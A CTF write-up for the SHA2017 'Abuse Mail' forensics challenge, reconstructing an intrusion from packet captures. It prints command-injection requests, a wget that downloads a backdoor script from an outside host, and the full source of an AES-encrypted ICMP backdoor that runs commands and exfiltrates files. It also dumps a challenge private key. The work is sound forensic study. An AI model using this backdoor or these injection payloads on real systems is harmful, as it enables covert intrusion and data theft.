[Network] Sha2017 - Abuse Mail [300]

Network network, pcap, usb, wireshark Comments


Abuse Mail (300) - 62 solves
Our abuse desk received an mail that someone from our network has hacked their company. With their help we found some suspected traffic in our network logs, but we can’t find what exactly has happened. Can you help us to catch the culprit?

abusemail.tgz

233b7cb7f8113baca2f8d29d74105887

we have 3 capture files abuse00.pcap, abuse01.pcap and abuse02.pcap. Starting with abuse00.pcap we can see we have some encrypted ESP packages and some telenet communication. Let’s check telenet’s packages:
Telnet Packages

Now we have the credentials to decrypt the ESP packages! using wireshark to decrypt them Edit -> Preferences -> Protocols -> ESP

After decrypting it we can see that the hacker used a remote command vulnerability at the GET parameter IP to upload a backdoor on the server. the commands he used:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139

GET /?ip=google.com HTTP/1.1
PING google.com (172.217.17.110) 56(84) bytes of data.
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=9.12 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=8.86 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.3 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.06 ms

GET /?ip=google.com;ls HTTP/1.1
ING google.com (172.217.17.110) 56(84) bytes of data.
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=8.66 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=9.44 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.0 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.44 ms

--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 8.445/9.153/10.057/0.639 ms
css
index.php

GET /?ip=;ls%20-la HTTP/1.1
total 16
drwxr-xr-x 3 root     root     4096 Jul 26 09:36 .
drwxr-xr-x 3 root     root     4096 Jul 26 03:45 ..
drwxr-x--- 2 www-data www-data 4096 Jul 26 09:37 css
-rwxr-xr-x 1 www-data www-data 1664 Jul 26 04:46 index.php


GET /?ip=;sudo%20-l HTTP/1.1
Matching Defaults entries for www-data on router:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on router:
    (ALL : ALL) NOPASSWD: ALL


GET /?ip=;id HTTP/1.1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

GET /?ip=;wget http://10.5.5.207/backdoor.py -O /tmp/backdoor.py HTTP/1.1
--2017-07-26 09:43:36--  http://10.5.5.207/backdoor.py
Connecting to 10.5.5.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2428 (2.4K) [text/x-python]
Saving to: '/tmp/backdoor.py'
0K ..                                                    100%  458M=0s

2017-07-26 09:43:36 (458 MB/s) - '/tmp/backdoor.py' saved [2428/2428]
GET /?ip=;cat /tmp/backdoor.py HTTP/1.1
#!/usr/bin/env python

import base64
import sys
import time
import subprocess
import threading

from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"


class AESCipher:

    def __init__( self, key ):
        self.key = key

    def encrypt( self, raw ):
        raw = pad(raw)
        iv = Random.new().read( AES.block_size )
        cipher = AES.new( self.key, AES.MODE_CBC, iv )
        return base64.b64encode( iv + cipher.encrypt( raw ) )

    def decrypt( self, enc ):
        enc = base64.b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv )
        return unpad(cipher.decrypt( enc[16:] ))

def run_command(cmd):
    ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
    return output

def send_ping(host, magic, data):
    data = cipher.encrypt(data)
    load = "{}:{}".format(magic, data)
    time.sleep(1)
    sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)

def chunks(L, n):
    for i in xrange(0, len(L), n):
        yield L[i:i+n]

def get_file(host, magic, fn):
    time.sleep(1)
    data = base64.urlsafe_b64encode(open(fn, "rb").read())
    cnt = 0
    icmp_threads = []
    for line in chunks(data, 500):
        t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
        t.daemon = True
        t.start()
        icmp_threads.append(t)
        cnt += 1

    for t in icmp_threads:
        t.join()


cipher = AESCipher(sys.argv[1])

while True:
    try: 
        pkts = sniff(filter="icmp", timeout =5,count=1)

        for packet in pkts:
             if  str(packet.getlayer(ICMP).type) == "8": 
                input = packet[IP].load
                if input[0:len(magic)] == magic:
                    input = input.split(":")
                    data = cipher.decrypt(input[1]).split(":")
                    ip = packet[IP].src
                    if data[0] == "command":
                        output = run_command(data[1])
                        send_ping(ip, magic, "command:{}".format(output))
                    if data[0] == "getfile":
                        #print "[+] Sending file {}".format(data[1])
                        get_file(ip, magic, data[1])
    except:
        pass

GET /?ip=;nohup sudo python /tmp/backdoor.py K8djhaIU8H2d1jNb & HTTP/1.1

The hacker used AES to encrypt his commands! And we know the password he used! which we can get it from the GET HTTP request! which was K8djhaIU8H2d1jNb “GET /?ip=;nohup sudo python /tmp/backdoor.py K8djhaIU8H2d1jNb & HTTP/1.1”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

#!/usr/bin/env python

import base64
import sys
import time
import subprocess
import threading

from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"


class AESCipher:

    def __init__( self, key ):
        self.key = key

    def encrypt( self, raw ):
        raw = pad(raw)
        iv = Random.new().read( AES.block_size )
        cipher = AES.new( self.key, AES.MODE_CBC, iv )
        return base64.b64encode( iv + cipher.encrypt( raw ) )

    def decrypt( self, enc ):
        enc = base64.b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv )
        return unpad(cipher.decrypt( enc[16:] ))

def run_command(cmd):
    ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
    return output

def send_ping(host, magic, data):
    data = cipher.encrypt(data)
    load = "{}:{}".format(magic, data)
    time.sleep(1)
    sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)

def chunks(L, n):
    for i in xrange(0, len(L), n):
        yield L[i:i+n]

def get_file(host, magic, fn):
    time.sleep(1)
    data = base64.urlsafe_b64encode(open(fn, "rb").read())
    cnt = 0
    icmp_threads = []
    for line in chunks(data, 500):
        t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
        t.daemon = True
        t.start()
        icmp_threads.append(t)
        cnt += 1

    for t in icmp_threads:
        t.join()


cipher = AESCipher(sys.argv[1])

while True:
    try: 
        pkts = sniff(filter="icmp", timeout =5,count=1)

        for packet in pkts:
             if  str(packet.getlayer(ICMP).type) == "8": 
                input = packet[IP].load
                if input[0:len(magic)] == magic:
                    input = input.split(":")
                    data = cipher.decrypt(input[1]).split(":")
                    ip = packet[IP].src
                    if data[0] == "command":
                        output = run_command(data[1])
                        send_ping(ip, magic, "command:{}".format(output))
                    if data[0] == "getfile":
                        #print "[+] Sending file {}".format(data[1])
                        get_file(ip, magic, data[1])
    except:
        pass

With all this information we need to decrypt the packages from the other PCAPs, which contains the communication between the hacker and the server, we can use the hackers script and password! first lets extract the encrypted data with tshark!

1
2
3

kinyabitch@Debian ~/D/H/c/sha2017> tshark -r abuse02.pcap -Tfields -e data | xxd -r -p > encrypted1
kinyabitch@Debian ~/D/H/c/sha2017> tshark -r abuse03.pcap -Tfields -e data | xxd -r -p > encrypted2

Now modifing the scrypt so we can decrypt our IMCP encrypted data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125

import base64
import sys
import time
import subprocess
import threading

from Crypto import Random
from Crypto.Cipher import AES
import binascii
import re

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"
key2="K8djhaIU8H2d1jNb"
stri="9FEEhLIvHpDPM4qwDwPQVxuasHbiFnI6AjSY6YNDlzcRZX7T+R6azOsOHIXSTsQJFY6KWC57M7c50/Y8VoDblzthDZEAgvOglXNj5wC78R3+euE2enPioadbLZ4K2bwG8UAxdIX8sH7NAmC9LNVuluqd2TYgDss20VNwd1rJ7vmkrt55gXvCWdOieQarMbMZorDqvcRrPRJsNae1x8CHY/ukToeYt8w4T16BrqdN9ZJK+NFVxDddHjjfXCtwF2eqVZ+qZhYiDPAcy1DcQZEWJeRz+R5m98WsLqH2gJvpYY3T6h1JuTTJUDfhoqeTvrRF/z9nsGCaJQZjKY3EDrdvCQ=="



class AESCipher:

    def __init__( self, key ):
        self.key = key

    def encrypt( self, raw ):
        raw = pad(raw)
        iv = Random.new().read( AES.block_size )
        cipher = AES.new( self.key, AES.MODE_CBC, iv )
        return base64.b64encode( iv + cipher.encrypt( raw ) )

    def decrypt( self, enc ):
        enc = base64.b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv )
        return unpad(cipher.decrypt( enc[16:] ))

def run_command(cmd):
    ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
    return output

def send_ping(host, magic, data):
    data = cipher.encrypt(data)
    load = "{}:{}".format(magic, data)
    time.sleep(1)
    sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)

def chunks(L, n):
    for i in xrange(0, len(L), n):
        yield L[i:i+n]

def get_file(host, magic, fn):
    time.sleep(1)
    data = base64.urlsafe_b64encode(open(fn, "rb").read())
    cnt = 0
    icmp_threads = []
    for line in chunks(data, 500):
        t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
        t.daemon = True
        t.start()
        icmp_threads.append(t)
        cnt += 1

    for t in icmp_threads:
        t.join()


# cipher = AESCipher(sys.argv[1])

# while True:
#     try: 
#         pkts = sniff(filter="icmp", timeout =5,count=1)

#         for packet in pkts:
#              if  str(packet.getlayer(ICMP).type) == "8": 
#                 input = packet[IP].load
#                 if input[0:len(magic)] == magic:
#                     input = input.split(":")
#                     data = cipher.decrypt(input[1]).split(":")
#                     ip = packet[IP].src
#                     if data[0] == "command":
#                         output = run_command(data[1])
#                         send_ping(ip, magic, "command:{}".format(output))
#                     if data[0] == "getfile":
#                         #print "[+] Sending file {}".format(data[1])
#                         get_file(ip, magic, data[1])
#     except:
#         pass




#   break
# print(final)

#for i in range(0,301):
#   print(i, dicio[str(i)])
# for k,v in dicio.iteritems():
    # print(k, base64.urlsafe_b64decode(v))

# print(base64.urlsafe_b64decode(final))

    # if outp not in lis:
    #     # print(outp)
        
    #     print(numb)
    #     lis.append(outp)
        
  # lis = sorted(lis)
  # for it in lis:
    # print(it)


dicio = {}
lis = []
n = AESCipher(key2)
infile1="encrypted1"
with open(infile1) as f:
  strin = f.read().split('SHA2017:')
  strin = strin[1:]
  for i in range(0,len(strin),2):
    outp = n.decrypt(strin[i])
    print outp

Running the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192

kinyabitch@Debian ~/D/H/c/sha2017> python back.py
command:ls -la
command:total 16
drwxr-xr-x 3 root     root     4096 Jul 26 09:36 .
drwxr-xr-x 3 root     root     4096 Jul 26 03:45 ..
drwxr-x--- 2 www-data www-data 4096 Jul 26 09:37 css
-rwxr-xr-x 1 www-data www-data 1664 Jul 26 04:46 index.php

command:id
command:uid=0(root) gid=0(root) groups=0(root)

command:id
command:uid=0(root) gid=0(root) groups=0(root)

command:id
command:uid=0(root) gid=0(root) groups=0(root)

command:ls -la /root
command:total 32
drwx------  5 root root 4096 Jul 27 07:27 .
drwxr-xr-x 22 root root 4096 Apr 18 05:43 ..
-rw-------  1 root root 3228 Jul 26 06:44 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x  2 root root 4096 Jul 27 09:11 certs
drwxr-xr-x  2 root root 4096 Jul 26 03:47 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Jul 27 07:27 .ssh

command:ls -la /root/certs
command:total 16
drwxr-xr-x 2 root root 4096 Jul 27 09:11 .
drwx------ 5 root root 4096 Jul 27 07:27 ..
-rw-r--r-- 1 root root  989 Jul 27 07:23 intranet.crt
-rw-r--r-- 1 root root  916 Jul 27 07:23 intranet.key

command:cat /root/certs/intranet.crt
command:-----BEGIN CERTIFICATE-----
MIICrDCCAhWgAwIBAgIJALfe3aETCSTsMA0GCSqGSIb3DQEBCwUAMG8xCzAJBgNV
BAYTAk5MMRIwEAYDVQQIDAlGbGV2b2xhbmQxETAPBgNVBAcMCFplZXdvbGRlMRQw
EgYDVQQKDAtTSEEyMDE3IENURjEjMCEGCSqGSIb3DQEJARYUc2hhMjAxN2N0ZkBn
bWFpbC5jb20wHhcNMTcwNzI3MTQyMzIwWhcNMTgwNzI3MTQyMzIwWjBvMQswCQYD
VQQGEwJOTDESMBAGA1UECAwJRmxldm9sYW5kMREwDwYDVQQHDAhaZWV3b2xkZTEU
MBIGA1UECgwLU0hBMjAxNyBDVEYxIzAhBgkqhkiG9w0BCQEWFHNoYTIwMTdjdGZA
Z21haWwuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+H/mwETvdjGRn
n/33zsjMOyPsg5xgSCsLDTg9D8XaeGp7ZQ1habE+9G0gabrKYntVburjitcuheXK
hCo6nYWF2pSch4WjhNhCxkM++UeKRUv8xYAtSGl+6vvSrwogR+BfRuxZFAeJzvgK
hNwL7sdW2CJ7Gk89pET/W6AOBNcDWwIDAQABo1AwTjAdBgNVHQ4EFgQUFeykHO7M
V70l0IO87/3ogRb5VxMwHwYDVR0jBBgwFoAUFeykHO7MV70l0IO87/3ogRb5VxMw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOBgQCITumB4q5A+Lu9EzUe1qAW
rjAeVfXq/qVrw+byH4VqNuEOBQ7lq151VbsXI1YQXCxVbP/r5Zxb1BfS/3qHHFDu
SRqYaxh9c+BRkdAdzkFebMbIocnaLuVFpn237Z/ysSt0PPrTaI3gUSoz/7gXB+nX
DkYKgl7BR0a72yTuLAc0GA==
-----END CERTIFICATE-----

command:cat /root/certs/intranet.key
command:-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAL4f+bARO92MZGef
/ffOyMw7I+yDnGBIKwsNOD0Pxdp4antlDWFpsT70bSBpuspie1Vu6uOK1y6F5cqE
KjqdhYXalJyHhaOE2ELGQz75R4pFS/zFgC1IaX7q+9KvCiBH4F9G7FkUB4nO+AqE
3Avux1bYInsaTz2kRP9boA4E1wNbAgMBAAECgYEAiYU/aedNUhc2mO3VGeXswC0W
8wDPn6UT3U6WmzRJfJkVDGQvpYJ5vnu2Y3eWsMVDSKyOIkBPHUukxzOKCBPge449
kMwW8cX0nHSGFl1HsYiY14Lr/BiOXz/c+I9Yg+Bexf5kCTYAjzqZ1ZErrIQvagNE
pXb1GGZrnrU7wH9FI8ECQQDhwEnscmqsnPr43E0eFUy3OybfQfo+mSRdq84zwHoW
BofTUUOpDZpZhIWt6JsdsSqqYVt+W8XHqILraK/EQDnpAkEA15mi7tjozljGcjVP
dYzB4m24vRK4guujNSJDXKwoDvjDI8x3iu/iTtfxkM3Swko4bxWwiUB7MOaCLgQO
HaaEowJAXIzswZcWzLV+3s/SfebVkLkbcqQl58v48L4ix2y9oJIE1UmXp5MAGHsQ
IwAdt8qOZ1OKov8U0onvQnuks5xxIQJBAMwBz5/MVfYzIIwfD7H+X9Pe2Ojn1vni
+IslgbImIL2R/CxapF8uf+j1AtpvN9eqnV3XmzU0c50g8NuT8LtzvpsCQGUArCoa
ps7xk/SxGfz3IBrsUIOn3Iqh9wqoLfu7wVuc+LFIwkrNm6D5ZnzUapvO2oqj+5ER
iuSWkHY6ll1V1m0=
-----END PRIVATE KEY-----

command:cat /root/certs/intranet.key
command:-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAL4f+bARO92MZGef
/ffOyMw7I+yDnGBIKwsNOD0Pxdp4antlDWFpsT70bSBpuspie1Vu6uOK1y6F5cqE
KjqdhYXalJyHhaOE2ELGQz75R4pFS/zFgC1IaX7q+9KvCiBH4F9G7FkUB4nO+AqE
3Avux1bYInsaTz2kRP9boA4E1wNbAgMBAAECgYEAiYU/aedNUhc2mO3VGeXswC0W
8wDPn6UT3U6WmzRJfJkVDGQvpYJ5vnu2Y3eWsMVDSKyOIkBPHUukxzOKCBPge449
kMwW8cX0nHSGFl1HsYiY14Lr/BiOXz/c+I9Yg+Bexf5kCTYAjzqZ1ZErrIQvagNE
pXb1GGZrnrU7wH9FI8ECQQDhwEnscmqsnPr43E0eFUy3OybfQfo+mSRdq84zwHoW
BofTUUOpDZpZhIWt6JsdsSqqYVt+W8XHqILraK/EQDnpAkEA15mi7tjozljGcjVP
dYzB4m24vRK4guujNSJDXKwoDvjDI8x3iu/iTtfxkM3Swko4bxWwiUB7MOaCLgQO
HaaEowJAXIzswZcWzLV+3s/SfebVkLkbcqQl58v48L4ix2y9oJIE1UmXp5MAGHsQ
IwAdt8qOZ1OKov8U0onvQnuks5xxIQJBAMwBz5/MVfYzIIwfD7H+X9Pe2Ojn1vni
+IslgbImIL2R/CxapF8uf+j1AtpvN9eqnV3XmzU0c50g8NuT8LtzvpsCQGUArCoa
ps7xk/SxGfz3IBrsUIOn3Iqh9wqoLfu7wVuc+LFIwkrNm6D5ZnzUapvO2oqj+5ER
iuSWkHY6ll1V1m0=
-----END PRIVATE KEY-----

command:cat /etc/hosts
command:127.0.0.1 localhost
127.0.1.1 ubuntu

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.29.0.1 router
192.168.1.1     router
192.168.1.2     intranet

command:nohup nmap intranet > /tmp/intranet.nmap
command:
command:cat /tmp/intranet.nmap
command:
Starting Nmap 7.01 ( https://nmap.org ) at 2017-07-27 09:48 PDT
Nmap scan report for intranet (192.168.1.2)
Host is up (0.00010s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
MAC Address: 00:0C:29:3D:FD:B0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

command:cat /tmp/intranet.nmap
command:
Starting Nmap 7.01 ( https://nmap.org ) at 2017-07-27 09:48 PDT
Nmap scan report for intranet (192.168.1.2)
Host is up (0.00010s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
MAC Address: 00:0C:29:3D:FD:B0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

command:cat /tmp/intranet.nmap
command:
Starting Nmap 7.01 ( https://nmap.org ) at 2017-07-27 09:48 PDT
Nmap scan report for intranet (192.168.1.2)
Host is up (0.00010s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
MAC Address: 00:0C:29:3D:FD:B0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

command:cat /tmp/intranet.nmap
command:
Starting Nmap 7.01 ( https://nmap.org ) at 2017-07-27 09:48 PDT
Nmap scan report for intranet (192.168.1.2)
Host is up (0.00010s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
MAC Address: 00:0C:29:3D:FD:B0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

command:curl -k https://intranet/
command:  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   456  100   456    0     0   4871      0 --:--:-- --:--:-- --:--:--  4903
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at intranet Port 443</address>
</body></html>

command:tcpdump -D
command:1.ens33 [Up, Running]
2.ens39 [Up, Running]
3.any (Pseudo-device that captures on all interfaces) [Up, Running]
4.lo [Up, Running, Loopback]
5.nflog (Linux netfilter log (NFLOG) interface)
6.nfqueue (Linux netfilter queue (NFQUEUE) interface)
7.usbmon1 (USB bus number 1)
8.usbmon2 (USB bus number 2)

command:tcpdump -i usbmon2 -w /tmp/usb.pcap
command:tcpdump host intranet -w /tmp/intranet.pcap

As we can see we can extract alot of usefull Information from here, we now have the RSA private key used for TLS encryption and the certificate from the companies intranet website, the last 2 commands we could see that the hacker actually started two tcpdumps initiating the captures and one of them is a USB capture! maybe this will be useful latter!
Usefull data extracted:


command:cat /root/certs/intranet.crt
command:—–BEGIN CERTIFICATE—–
MIICrDCCAhWgAwIBAgIJALfe3aETCSTsMA0GCSqGSIb3DQEBCwUAMG8xCzAJBgNV
BAYTAk5MMRIwEAYDVQQIDAlGbGV2b2xhbmQxETAPBgNVBAcMCFplZXdvbGRlMRQw
EgYDVQQKDAtTSEEyMDE3IENURjEjMCEGCSqGSIb3DQEJARYUc2hhMjAxN2N0ZkBn
bWFpbC5jb20wHhcNMTcwNzI3MTQyMzIwWhcNMTgwNzI3MTQyMzIwWjBvMQswCQYD
VQQGEwJOTDESMBAGA1UECAwJRmxldm9sYW5kMREwDwYDVQQHDAhaZWV3b2xkZTEU
MBIGA1UECgwLU0hBMjAxNyBDVEYxIzAhBgkqhkiG9w0BCQEWFHNoYTIwMTdjdGZA
Z21haWwuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+H/mwETvdjGRn
n/33zsjMOyPsg5xgSCsLDTg9D8XaeGp7ZQ1habE+9G0gabrKYntVburjitcuheXK
hCo6nYWF2pSch4WjhNhCxkM++UeKRUv8xYAtSGl+6vvSrwogR+BfRuxZFAeJzvgK
hNwL7sdW2CJ7Gk89pET/W6AOBNcDWwIDAQABo1AwTjAdBgNVHQ4EFgQUFeykHO7M
V70l0IO87/3ogRb5VxMwHwYDVR0jBBgwFoAUFeykHO7MV70l0IO87/3ogRb5VxMw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOBgQCITumB4q5A+Lu9EzUe1qAW
rjAeVfXq/qVrw+byH4VqNuEOBQ7lq151VbsXI1YQXCxVbP/r5Zxb1BfS/3qHHFDu
SRqYaxh9c+BRkdAdzkFebMbIocnaLuVFpn237Z/ysSt0PPrTaI3gUSoz/7gXB+nX
DkYKgl7BR0a72yTuLAc0GA==
—–END CERTIFICATE—–

command:cat /root/certs/intranet.key
command:—–BEGIN PRIVATE KEY—–
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAL4f+bARO92MZGef
/ffOyMw7I+yDnGBIKwsNOD0Pxdp4antlDWFpsT70bSBpuspie1Vu6uOK1y6F5cqE
KjqdhYXalJyHhaOE2ELGQz75R4pFS/zFgC1IaX7q+9KvCiBH4F9G7FkUB4nO+AqE
3Avux1bYInsaTz2kRP9boA4E1wNbAgMBAAECgYEAiYU/aedNUhc2mO3VGeXswC0W
8wDPn6UT3U6WmzRJfJkVDGQvpYJ5vnu2Y3eWsMVDSKyOIkBPHUukxzOKCBPge449
kMwW8cX0nHSGFl1HsYiY14Lr/BiOXz/c+I9Yg+Bexf5kCTYAjzqZ1ZErrIQvagNE
pXb1GGZrnrU7wH9FI8ECQQDhwEnscmqsnPr43E0eFUy3OybfQfo+mSRdq84zwHoW
BofTUUOpDZpZhIWt6JsdsSqqYVt+W8XHqILraK/EQDnpAkEA15mi7tjozljGcjVP
dYzB4m24vRK4guujNSJDXKwoDvjDI8x3iu/iTtfxkM3Swko4bxWwiUB7MOaCLgQO
HaaEowJAXIzswZcWzLV+3s/SfebVkLkbcqQl58v48L4ix2y9oJIE1UmXp5MAGHsQ
IwAdt8qOZ1OKov8U0onvQnuks5xxIQJBAMwBz5/MVfYzIIwfD7H+X9Pe2Ojn1vni
+IslgbImIL2R/CxapF8uf+j1AtpvN9eqnV3XmzU0c50g8NuT8LtzvpsCQGUArCoa
ps7xk/SxGfz3IBrsUIOn3Iqh9wqoLfu7wVuc+LFIwkrNm6D5ZnzUapvO2oqj+5ER
iuSWkHY6ll1V1m0=
—–END PRIVATE KEY—–

command:tcpdump -i usbmon2 -w /tmp/usb.pcap
command:tcpdump host intranet -w /tmp/intranet.pcap

Now doing the same thing for the 2nd PCAP capture by adding this to the previous backdoor.py script:

1
2
3
4
5
6
7
8
9


infile1="encrypted2"
with open(infile1) as f:
  strin = f.read().split('SHA2017:')
  strin = strin[1:]
  for i in range(0,len(strin)):
    outp = n.decrypt(strin[i])
    print outp
1
2
3
4
5
6
7
8
9

kinyabitch@Debian ~/D/H/c/sha2017> python back.py
getfile:/tmp/intranet.pcap
getfile:22:xMWknTPeWuv2HY5z-Tp3Th8wX049inFKvUYvyQhSnuWRsJ8XzXXMYRfYezTcfq9rVFulD0i2Etj8CN3CMylyEVucEymaXhAHKJeR134iXZXUGgFFEzT8tBp8TTPF9cH0webjPbT3NYAxdcM1Wosa6PQD4Cun6osJb5WXuXQ0hZQLKOEx3s_cDoIR2hQmLNbb7lslfPvGEB79Ti_j-CahSlhI8Dbw5ON4yMeCqMMsuPc45ZAAZ8AXWi_CKGLgOvRGJHjMt7ML7MuskilBFw3g0n6vg2nugnqLNLftwWZh8CTvwiRNjNgEATCsNg1RNELnu3n_CXb_Djwlzbsei9zXQPQKPnmdHwucaHNRX51Z5gGEaIxXcjqRyNAGYHVqsTy4BbM32F_-dd1LSKOorBBGoXQLWfKGYHeb1m271eBchjv-JWWFpzK-yHztsmZn2At3i4T_vbuW72zUj3BvoerDO-srr6RKI-4UGrwzbEpjW5PNXq2FmYeKHt5hXT4EhBTgQOXxCvjtS_LIGkPWX1S36x2xBj87JdsRpo6UqrYWrDkDVycbksITiqo7EjNu-bvmHGbxO20cSUxMqHSgbA6PmkYdKPtR_AyjZreMEIMnnw_CmD0svSTpN4NrmLe-g4qUwYj4BENz_dSmLyvN7IYnoCcVwEACDyDBjv-Yg2PY6NUBARI68jWLdmHePchpYWXS3ZKdrt1eycVErN6YhJquGOVpfY9S4_1GenYWRY8in2MeK1105Y2eBKmxWIvZ8f8iW8EGsqAIeAZ0MmJUphs4Ibp-54z1dyRU
